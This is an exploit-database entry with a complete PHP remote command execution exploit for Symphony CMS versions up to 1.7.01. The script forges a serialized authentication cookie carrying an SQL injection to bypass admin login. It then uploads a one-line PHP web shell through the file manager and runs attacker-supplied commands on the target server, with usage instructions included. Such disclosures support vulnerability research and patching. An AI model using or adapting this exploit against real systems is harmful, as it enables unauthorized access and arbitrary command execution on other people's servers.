Auteur

Raz0r

Risque

[

Security Risk Unsored

]

0day-ID

0day-ID-3486

Catégorie

web applications

Date d'ajout

30-07-2008

Plateforme

unsorted

==============================================================
Symphony <= 1.7.01 (non-patched) Remote Code Execution Exploit
==============================================================



<?php
## Symphony <= 1.7.01 (non-patched) Remote Command Execution Exploit
## works regardless magic_quotes_gpc

echo "-----------------------------------------------------------------\n";
echo "Symphony <= 1.7.01 (non-patched) Remote Command Execution Exploit\n";
echo "(c)oded by Raz0r (http://Raz0r.name/)\n";
echo "-----------------------------------------------------------------\n";

if ($argc<3) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] [cmd]\n\n";
echo "[url] - target server where Symphony is installed\n";
echo "[cmd] - command to execute\n\n";
echo "e.g. php {$argv[0]} http://site.com/ \"ls -la\"\n";
die;
}

/*
i) admin authorization bypass
vulnerable code in symphony/lib/class.admin.php:
------------------[source code]----------------------
function login($username, $password, $already_md5=false, $update=true){
$sql  = "SELECT *\n";
$sql .= "FROM `tbl_authors`\n";
$sql .= "WHERE `username` = '".addslashes($username)."'\n";
$sql .= "AND `password` = '".(!$already_md5 ? md5($password) : $password)."'\n";
$row = $this->_db->fetchRow(0, $sql);
[...]
}
[...]
if(isset($_COOKIE[__SYM_COOKIE__])){
$args = unserialize($_COOKIE[__SYM_COOKIE__]);
$result = $this->login($args['username'], $args['password'], true, false);
}
------------------[/source code]---------------------
password value from cookie is not properly sanitized so the code above is vulnerable
to a SQL-injection which leads to admin authorization bypass.

ii) arbitrary file upload in admin panel
file manager in admin panel allows arbitrary file upload including php scripts. This vuln
is actual only for non-patched version, nevertheless the SQL-injection above works on
patched version too
*/

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);

$url = $argv[1];
$cmd = $argv[2];

$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;

echo "[~] Uploading shell... ";
exploit($host,$path,$port) ? print("OK\n") : die("Failed\n");

echo "[~] Executing command... ";
$res = cmd($host,$path,$port,$cmd);
if ($res) {
   printf("OK\n%'-65s\n%s%'-65s\n",'',$res,'');
}else {
   die("Failed");
}

function exploit($host,$path,$port) {
   $ock = fsockopen(gethostbyname($host),$port);
   if (!$ock) return false;

   $data = "--------bndry31337\r\n";
   $data.= "Content-Disposition: form-data; ";
   $data.= "name=\"file\"; filename=\"s.php\"\r\n";
   $data.= "Content-Type: text/plain\r\n\r\n";
   $data.= "<?php echo @`{\$_POST['c']}`; ?>\r\n";
   $data.= "--------bndry31337\r\n";

   $data.= "--------bndry31337\r\n";
   $data.= "Content-Disposition: form-data; name=\"filter\"\r\n\r\n";
   $data.= "--------bndry31337\r\n";

   $data.= "--------bndry31337\r\n";
   $data.= "Content-Disposition: form-data; name=\"destination\"\r\n\r\n";
   $data.= "workspace/masters/\r\n";
   $data.= "--------bndry31337\r\n";

   $data.= "--------bndry31337\r\n";
   $data.= "Content-Disposition: form-data; name=\"action[upload]\"\r\n\r\n";
   $data.= "Upload\r\n";
   $data.= "--------bndry31337\r\n";

   $data.= "--------bndry31337\r\n";
   $data.= "Content-Disposition: form-data; name=\"with-selected\"\r\n\r\n";
   $data.= "With selected...\r\n";
   $data.= "--------bndry31337\r\n";

   $packet = "POST {$path}symphony/?page=/publish/filemanager/ HTTP/1.0\r\n";
   $packet.= "Host: {$host}\r\n";
   $packet.= "User-Agent: Opera/9.27 (Symphony fucker edition)\r\n";
   $packet.= "Cookie: sym_auth=a%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22";
   $packet.= "admin%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%2231337%27+OR+1%3D1+";
   $packet.= "+LIMIT+1%2F%2A%22%3Bs%3A2%3A%22id%22%3Bi%3A1%3B%7D\r\n";
   $packet.= "Content-Type: multipart/form-data; boundary=------bndry31337\r\n";
   $packet.= "Content-Length: ".strlen($data)."\r\n";
   $packet.= "Connection: close\r\n\r\n";

   $packet.= $data;

   fputs($ock, $packet);
   $html='';
   while (!feof($ock)) $html.=fgets($ock);

   return preg_match('@Location: .+?upload-success@',$html) ? true : false;
}

function cmd($host,$path,$port,$cmd) {
   $ock = fsockopen(gethostbyname($host),$port);
   if (!$ock) return false;
     $data   = "c=".urlencode($cmd);
     $packet = "POST {$path}workspace/masters/s.php HTTP/1.0\r\n";
   $packet.= "Host: {$host}\r\n";
   $packet.= "User-Agent: Opera/9.27 (Symphony fucker edition)\r\n";
   $packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
   $packet.= "Content-Length: ".strlen($data)."\r\n";
   $packet.= "Connection: close\r\n\r\n";
     $packet.= $data."\r\n";
     fputs($ock, $packet);
   $html='';
   while (!feof($ock)) $html.=fgets($ock);
     list($headers,$res)=explode("\r\n\r\n",$html);
   return strlen($res) ? $res : false;
}

?>



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